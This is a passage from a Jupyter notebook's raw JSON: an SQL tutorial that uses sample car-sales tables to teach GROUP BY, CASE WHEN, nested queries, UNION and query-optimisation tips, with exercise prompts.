<th>24</th>\n", " <td> 44</td>\n", " <td> 2</td>\n", " </tr>\n", " <tr>\n", " <th>25</th>\n", " <td> 45</td>\n", " <td> 3</td>\n", " </tr>\n", " <tr>\n", " <th>26</th>\n", " <td> 46</td>\n", " <td> 4</td>\n", " </tr>\n", " <tr>\n", " <th>27</th>\n", " <td> 47</td>\n", " <td> 1</td>\n", " </tr>\n", " <tr>\n", " <th>28</th>\n", " <td> 48</td>\n", " <td> 2</td>\n", " </tr>\n", " <tr>\n", " <th>29</th>\n", " <td> 49</td>\n", " <td> 1</td>\n", " </tr>\n", " <tr>\n", " <th>30</th>\n", " <td> 50</td>\n", " <td> 1</td>\n", " </tr>\n", " <tr>\n", " <th>31</th>\n", " <td> 51</td>\n", " <td> 1</td>\n", " </tr>\n", " <tr>\n", " <th>32</th>\n", " <td> 52</td>\n", " <td> 3</td>\n", " </tr>\n", " <tr>\n", " <th>33</th>\n", " <td> 53</td>\n", " <td> 1</td>\n", " </tr>\n", " <tr>\n", " <th>34</th>\n", " <td> 54</td>\n", " <td> 2</td>\n", " </tr>\n", " <tr>\n", " <th>35</th>\n", " <td> 55</td>\n", " <td> 1</td>\n", " </tr>\n", " <tr>\n", " <th>36</th>\n", " <td> 56</td>\n", " <td> 3</td>\n", " </tr>\n", " <tr>\n", " <th>37</th>\n", " <td> 57</td>\n", " <td> 3</td>\n", " </tr>\n", " <tr>\n", " <th>38</th>\n", " <td> 58</td>\n", " <td> 4</td>\n", " </tr>\n", " <tr>\n", " <th>39</th>\n", " <td> 59</td>\n", " <td> 1</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " age customers\n", "0 18 4\n", "1 19 2\n", "2 20 2\n", "3 21 2\n", "4 22 2\n", "5 23 1\n", "6 24 3\n", "7 25 1\n", "8 26 1\n", "9 27 3\n", "10 28 3\n", "11 29 4\n", "12 30 1\n", "13 31 5\n", "14 32 3\n", "15 33 6\n", "16 34 2\n", "17 36 3\n", "18 38 4\n", "19 39 1\n", "20 40 3\n", "21 41 4\n", "22 42 5\n", "23 43 2\n", "24 44 2\n", "25 45 3\n", "26 46 4\n", "27 47 1\n", "28 48 2\n", "29 49 1\n", "30 50 1\n", "31 51 1\n", "32 52 3\n", "33 53 1\n", "34 54 2\n", "35 55 1\n", "36 56 3\n", "37 57 3\n", "38 58 4\n", "39 59 1" ] }, "execution_count": 81, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " age,\n", " COUNT(*) customers\n", " FROM\n", " cust_table\n", " GROUP BY\n", " age\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "When you want to segment your results, but there are too many different values for GROUP BY to be helpful, use CASE WHEN to make your own groups. GROUP BY the column you created with CASE WHEN to look at your newly created segments." ] }, { "cell_type": "code", "execution_count": 82, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Age_Group</th>\n", " <th>Customers</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 18-24 years</td>\n", " <td> 16</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 25-34 years</td>\n", " <td> 29</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 35-45 years</td>\n", " <td> 24</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 45-54 years</td>\n", " <td> 19</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 55-64 years</td>\n", " <td> 12</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Age_Group Customers\n", "0 18-24 years 16\n", "1 25-34 years 29\n", "2 35-45 years 24\n", "3 45-54 years 19\n", "4 55-64 years 12" ] }, "execution_count": 82, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " CASE WHEN age BETWEEN 18 AND 24 THEN '18-24 years'\n", " WHEN age BETWEEN 25 AND 34 THEN '25-34 years'\n", " WHEN age BETWEEN 35 AND 44 THEN '35-45 years'\n", " WHEN age BETWEEN 45 AND 54 THEN '45-54 years'\n", " WHEN age BETWEEN 55 AND 64 THEN '55-64 years'\n", " END Age_Group,\n", " COUNT(*) as Customers\n", " FROM\n", " cust_table\n", " GROUP BY\n", " Age_Group\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Ta-DA! Useful customer segments!\n", "\n", "**Try to break up the \"Customers\" column into 2 columns - one for male and one for female. Keep the age segments intact.** \n", "- Note that COUNT(***) cannot be wrapped around a CASE WHEN expression the way that other functions can. Try to think of a different way to get a count.\n", "- Extra challenge: try to express male and female customers as a percentage of the total for each group, rounded to 2 decimal points" ] }, { "cell_type": "code", "execution_count": 83, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 83, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(case_cheat2)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "__________\n", "___________\n", "____\n", "____\n", "___" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "##NESTING\n", "- Nested queries allow you to put a query within a query\n", "- Depending on your needs, you might put a nested query in the SELECT clause, the FROM clause, or the WHERE clause\n", "\n", "Consider the following query. We're using a nested query in the SELECT clause to see the sum of all revenue in the sales_table, and then using it again to what percentage of total revenue can be attributed to each Car_Model." ] }, { "cell_type": "code", "execution_count": 84, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Car_Model</th>\n", " <th>Revenue_Per_Model</th>\n", " <th>Total_Revenue</th>\n", " <th>Contribution_to_Revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Accord</td>\n", " <td> 234748</td>\n", " <td> 1941252</td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Camry</td>\n", " <td> 212080</td>\n", " <td> 1941252</td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Civic</td>\n", " <td> 157886</td>\n", " <td> 1941252</td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Corolla</td>\n", " <td> 154880</td>\n", " <td> 1941252</td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Forester</td>\n", " <td> 201083</td>\n", " <td> 1941252</td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Outback</td>\n", " <td> 317406</td>\n", " <td> 1941252</td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Prius</td>\n", " <td> 297418</td>\n", " <td> 1941252</td>\n", " <td> 0</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> Tundra</td>\n", " <td> 365751</td>\n", " <td> 1941252</td>\n", " <td> 0</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Car_Model Revenue_Per_Model Total_Revenue Contribution_to_Revenue\n", "0 Accord 234748 1941252 0\n", "1 Camry 212080 1941252 0\n", "2 Civic 157886 1941252 0\n", "3 Corolla 154880 1941252 0\n", "4 Forester 201083 1941252 0\n", "5 Outback 317406 1941252 0\n", "6 Prius 297418 1941252 0\n", "7 Tundra 365751 1941252 0" ] }, "execution_count": 84, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.model AS Car_Model,\n", " SUM(S.revenue) AS Revenue_Per_Model,\n", " (SELECT SUM(revenue) FROM sales_table) AS Total_Revenue,\n", " SUM(S.revenue) / (SELECT SUM(revenue) FROM sales_table) AS Contribution_to_Revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C ON C.model_id = S.model_id\n", " GROUP BY\n", " Car_Model\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Write a query to look at the model name and COGs for each car in car_table, then use a nested query to also look at the average COGs off all car models in a third column **\n", "- Extra Challenge: add a fourth colum using another nested query to return the difference between each car model's COGs and the average COGs" ] }, { "cell_type": "code", "execution_count": 85, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 85, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(nest_cheat1)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "_________\n", "__________\n", "___________\n", "____________\n", "_____________\n", "\n", "#UNION & UNION ALL\n", " SELECT\n", " column_a\n", " FROM\n", " table_x\n", " \n", " UNION # or UNION ALL\n", " \n", " SELECT\n", " column_b\n", " FROM\n", " table_y\n", "- UNION allows you to run a 2nd query (or 3rd or 4th), the results will be ordered by default with the results of the first query\n", "- UNION ALL ensures that the results in the result set appear in order that the queries are written\n", "- The number of columns in each query **must be** the same in order for UNION & UNION ALL to work\n", "\n", "Starting with something simple (and a little nonsensical), UNION basically lets you run two entirely separate queries. Technically, they could have nothing to do with each other:" ] }, { "cell_type": "code", "execution_count": 86, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>model</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Jared</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Tundra</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " model\n", "0 Jared\n", "1 Tundra" ] }, "execution_count": 86, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " model\n", " FROM\n", " car_table\n", " WHERE\n", " model = 'Tundra'\n", " \n", " UNION\n", " \n", " SELECT \n", " first_name\n", " FROM\n", " salesman_table\n", " WHERE first_name = 'Jared'\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Some things to note:\n", "- Although these queries and their results are unrelated, the column header is dictated by the query that appears first\n", "- Even though the query for \"Tundra\" is first, \"Tundra\" is second in the results. UNION will sort all results according to the normal default rules, acending order. \n", "- Replace UNION with UNION ALL and run the query again. What changes? " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Use UNION to join two queries. The first should have two columns: car model and COGs per car. The second query should show you to average COGs for all the car models, rounded to cents. You want the the average COGs to appear in the last row.** \n", "- Remember that united queries need to have the same number of columns." ] }, { "cell_type": "code", "execution_count": 87, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 87, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(union_cheat1)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Consider the issue we had before, where SQLite didn't support WITH ROUNDUP. We used this query as a workaround. Does it make sense now?" ] }, { "cell_type": "code", "execution_count": 88, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Car_Model</th>\n", " <th>Sum_Revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Accord</td>\n", " <td> 234748</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Camry</td>\n", " <td> 212080</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Civic</td>\n", " <td> 157886</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Corolla</td>\n", " <td> 154880</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Forester</td>\n", " <td> 201083</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Outback</td>\n", " <td> 317406</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Prius</td>\n", " <td> 297418</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> Tundra</td>\n", " <td> 365751</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> NULL</td>\n", " <td> 1941252</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Car_Model Sum_Revenue\n", "0 Accord 234748\n", "1 Camry 212080\n", "2 Civic 157886\n", "3 Corolla 154880\n", "4 Forester 201083\n", "5 Outback 317406\n", "6 Prius 297418\n", "7 Tundra 365751\n", "8 NULL 1941252" ] }, "execution_count": 88, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " C.model AS Car_Model, \n", " SUM(S.revenue) as Sum_Revenue\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id \n", " GROUP BY C.model\n", " \n", " UNION ALL\n", " \n", " SELECT \n", " 'NULL', \n", " SUM(S.revenue)\n", " FROM \n", " sales_table S\n", "''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "________\n", "_________\n", "_________\n", "__________\n", "___________\n", "# Optimization:\n", "\n", "Non-optimized queries can cause a lot of problems because tables frequently have thousands or millions of rows:\n", "\n", "If you haven't optimized your query, it might:\n", "\n", "- Take several minutes (or even hours) to return the information you're requesting\n", "- Crash your computer\n", "- Muck up the server's processes, and you'll face the wrath of your company's system administrators once they figure out that you are the reason why the whole system has slowed down and everyone is sending them angry emails (this will probably happen to you no matter what. It's a rite of passage).\n", "\n", "Find a few more useful optimization tips here: http://hungred.com/useful-information/ways-optimize-sql-queries/\n", "\n", "Some of these seem strange, because we're going ling you NOT to do a bunch of things that you've learned how to do. Stick to this principal: if you're dealing with a small table, you can break a few of these rules. ***The larger the table, the fewer rules you can break.***" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### DO name specific columns in the SELECT CLAUSE:" ] }, { "cell_type": "code", "execution_count": 89, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>date</th>\n", " <th>revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 1/7/2014</td>\n", " <td> 21222</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 1/26/2014</td>\n", " <td> 19140</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 1/17/2014</td>\n", " <td> 14720</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 1/13/2014</td>\n", " <td> 19010</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 1/12/2014</td>\n", " <td> 22022</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " date revenue\n", "0 1/7/2014 21222\n", "1 1/26/2014 19140\n", "2 1/17/2014 14720\n", "3 1/13/2014 19010\n", "4 1/12/2014 22022" ] }, "execution_count": 89, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run(''' \n", " SELECT\n", " date,\n", " revenue\n", " FROM \n", " sales_table\n", " ''').head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### DON'T use an asterisk unless you absolutely have to:\n", "This can put a lot of strain on servers. Only use if you know for certain that your using a small table" ] }, { "cell_type": "code", "execution_count": 90, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>model_id</th>\n", " <th>customer_id</th>\n", " <th>revenue</th>\n", " <th>payment_type</th>\n", " <th>salesman_id</th>\n", " <th>date</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 54858</td>\n", " <td> 36</td>\n", " <td> 237906</td>\n", " <td> 21222</td>\n", " <td> finance</td>\n", " <td> 276</td>\n", " <td> 1/7/2014</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 43161</td>\n", " <td> 20</td>\n", " <td> 967016</td>\n", " <td> 19140</td>\n", " <td> finance</td>\n", " <td> 225</td>\n", " <td> 1/26/2014</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 40112</td>\n", " <td> 46</td>\n", " <td> 819010</td>\n", " <td> 14720</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/17/2014</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 92495</td>\n", " <td> 31</td>\n", " <td> 633030</td>\n", " <td> 19010</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/13/2014</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 78000</td>\n", " <td> 51</td>\n", " <td> 341877</td>\n", " <td> 22022</td>\n", " <td> finance</td>\n", " <td> 803</td>\n", " <td> 1/12/2014</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " id model_id customer_id revenue payment_type salesman_id date\n", "0 54858 36 237906 21222 finance 276 1/7/2014\n", "1 43161 20 967016 19140 finance 225 1/26/2014\n", "2 40112 46 819010 14720 cash 147 1/17/2014\n", "3 92495 31 633030 19010 finance 215 1/13/2014\n", "4 78000 51 341877 22022 finance 803 1/12/2014" ] }, "execution_count": 90, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run(''' \n", " SELECT\n", " *\n", " FROM \n", " sales_table\n", " ''').head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### DO use LIKE on small tables and in simple queries:\n", "\n", "LIKE is helpful if you know where to find something but you can't quite remember what it's called. Try to use a wildcard sparingly - don't use 2 when 1 will suffice:" ] }, { "cell_type": "code", "execution_count": 91, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>model_id</th>\n", " <th>model</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 36</td>\n", " <td> Tundra</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " model_id model\n", "0 36 Tundra" ] }, "execution_count": 91, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " model_id, model\n", " FROM \n", " car_table\n", " WHERE\n", " model LIKE '%undra'\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### DON'T use LIKE on large tables or when using JOINs:" ] }, { "cell_type": "code", "execution_count": 92, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>model</th>\n", " <th>AVG(revenue)</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Tundra</td>\n", " <td> 22859.4375</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " model AVG(revenue)\n", "0 Tundra 22859.4375" ] }, "execution_count": 92, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT \n", " C.model, \n", " AVG(revenue)\n", " FROM\n", " sales_table S\n", " JOIN car_table C on S.model_id = C.model_id \n", " WHERE\n", " C.model LIKE '%undra'\n", "''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "If you want to look at average revenue for car models that are like \"%undra\", run the LIKE query on the small table (car_table) *first* to figure out exacly what you're looking for, then use that information to search for the data you need from the sales_table" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "###DO dip your toe in by starting with a small data set\n", "Use WHERE to only view a few days of data at first. If the query runs quickly, add a few days at a time. If it starts to run slowly, run just a few days at a time and paste results into excel to combine results (or use Python...ask me later!!!).\n", "\n", "The query below won't work because SQLite doesn't recognize dates, but remember these concepts when working with other RDBMS " ] }, { "cell_type": "code", "execution_count": 93, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>revenue</th>\n", " <th>date</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ "Empty DataFrame\n", "Columns: [revenue, date]\n", "Index: []" ] }, "execution_count": 93, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " revenue,\n", " date\n", " FROM\n", " sales_table\n", " WHERE\n", " date = '1/1/14'\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "###DO use a UNION to look at result-sets that aren't mutually exclusive\n", "\n", "Let's say you were interested in seeing all Toyotas as well as cars with COGs of more than 13000. Write a query for the first group, then a query for the second group, and unite them with UNION. The result set won't show you repeats - if a row matches both result sets, it will only display once." ] }, { "cell_type": "code", "execution_count": 94, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>make</th>\n", " <th>model</th>\n", " <th>cogs</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Honda</td>\n", " <td> Accord</td>\n", " <td> 13263</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Subaru</td>\n", " <td> Forester</td>\n", " <td> 13317</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Subaru</td>\n", " <td> Outback</td>\n", " <td> 14937</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Toyota</td>\n", " <td> Camry</td>\n", " <td> 13200</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Toyota</td>\n", " <td> Corolla</td>\n", " <td> 9600</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Toyota</td>\n", " <td> Prius</td>\n", " <td> 14520</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Toyota</td>\n", " <td> Tundra</td>\n", " <td> 15720</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " make model cogs\n", "0 Honda Accord 13263\n", "1 Subaru Forester 13317\n", "2 Subaru Outback 14937\n", "3 Toyota Camry 13200\n", "4 Toyota Corolla 9600\n", "5 Toyota Prius 14520\n", "6 Toyota Tundra 15720" ] }, "execution_count": 94, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " make, model, cogs\n", " FROM\n", " car_table\n", " WHERE \n", " make = 'Toyota'\n", " \n", " UNION\n", " \n", " SELECT \n", " make, model, cogs\n", " FROM\n", " car_table\n", " WHERE\n", " cogs > 13000\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### DON'T use OR when a UNION will generate the same results" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Note that we'll get the same results as above, but this query could run MUCH slower on a large table. It's tempting to use OR because it's faster to write, but unless you're dealing with very small tables, avoid the temptation. In 5 years of doing business analytics with SQL, I never used OR once. It's slow. Use a UNION." ] }, { "cell_type": "code", "execution_count": 95, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>make</th>\n", " <th>model</th>\n", " <th>cogs</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Toyota</td>\n", " <td> Camry</td>\n", " <td> 13200</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Toyota</td>\n", " <td> Corolla</td>\n", " <td> 9600</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> Toyota</td>\n", " <td> Prius</td>\n", " <td> 14520</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Honda</td>\n", " <td> Accord</td>\n", " <td> 13263</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Subaru</td>\n", " <td> Outback</td>\n", " <td> 14937</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Subaru</td>\n", " <td> Forester</td>\n", " <td> 13317</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Toyota</td>\n", " <td> Tundra</td>\n", " <td> 15720</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " make model cogs\n", "0 Toyota Camry 13200\n", "1 Toyota Corolla 9600\n", "2 Toyota Prius 14520\n", "3 Honda Accord 13263\n", "4 Subaru Outback 14937\n", "5 Subaru Forester 13317\n", "6 Toyota Tundra 15720" ] }, "execution_count": 95, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " make, model, cogs\n", " FROM\n", " car_table\n", " WHERE\n", " make = 'Toyota' OR cogs > 13000\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### DON'T use negative filters when a positive filter is possible" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's say you want to look at cars made by Toyato and Honda, but you don't care about Subaru. It might be tempting to use a negative filter:" ] }, { "cell_type": "code", "execution_count": 96, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>model_id</th>\n", " <th>make</th>\n", " <th>model</th>\n", " <th>sticker_price</th>\n", " <th>cogs</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 20</td>\n", " <td> Toyota</td>\n", " <td> Camry</td>\n", " <td> 22000</td>\n", " <td> 13200</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 46</td>\n", " <td> Toyota</td>\n", " <td> Corolla</td>\n", " <td> 16000</td>\n", " <td> 9600</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 51</td>\n", " <td> Toyota</td>\n", " <td> Prius</td>\n", " <td> 24200</td>\n", " <td> 14520</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 19</td>\n", " <td> Honda</td>\n", " <td> Civic</td>\n", " <td> 18190</td>\n", " <td> 10914</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 31</td>\n", " <td> Honda</td>\n", " <td> Accord</td>\n", " <td> 22105</td>\n", " <td> 13263</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> 36</td>\n", " <td> Toyota</td>\n", " <td> Tundra</td>\n", " <td> 26200</td>\n", " <td> 15720</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " model_id make model sticker_price cogs\n", "0 20 Toyota Camry 22000 13200\n", "1 46 Toyota Corolla 16000 9600\n", "2 51 Toyota Prius 24200 14520\n", "3 19 Honda Civic 18190 10914\n", "4 31 Honda Accord 22105 13263\n", "5 36 Toyota Tundra 26200 15720" ] }, "execution_count": 96, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " car_table\n", " WHERE\n", " make != 'Subaru'\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "On a 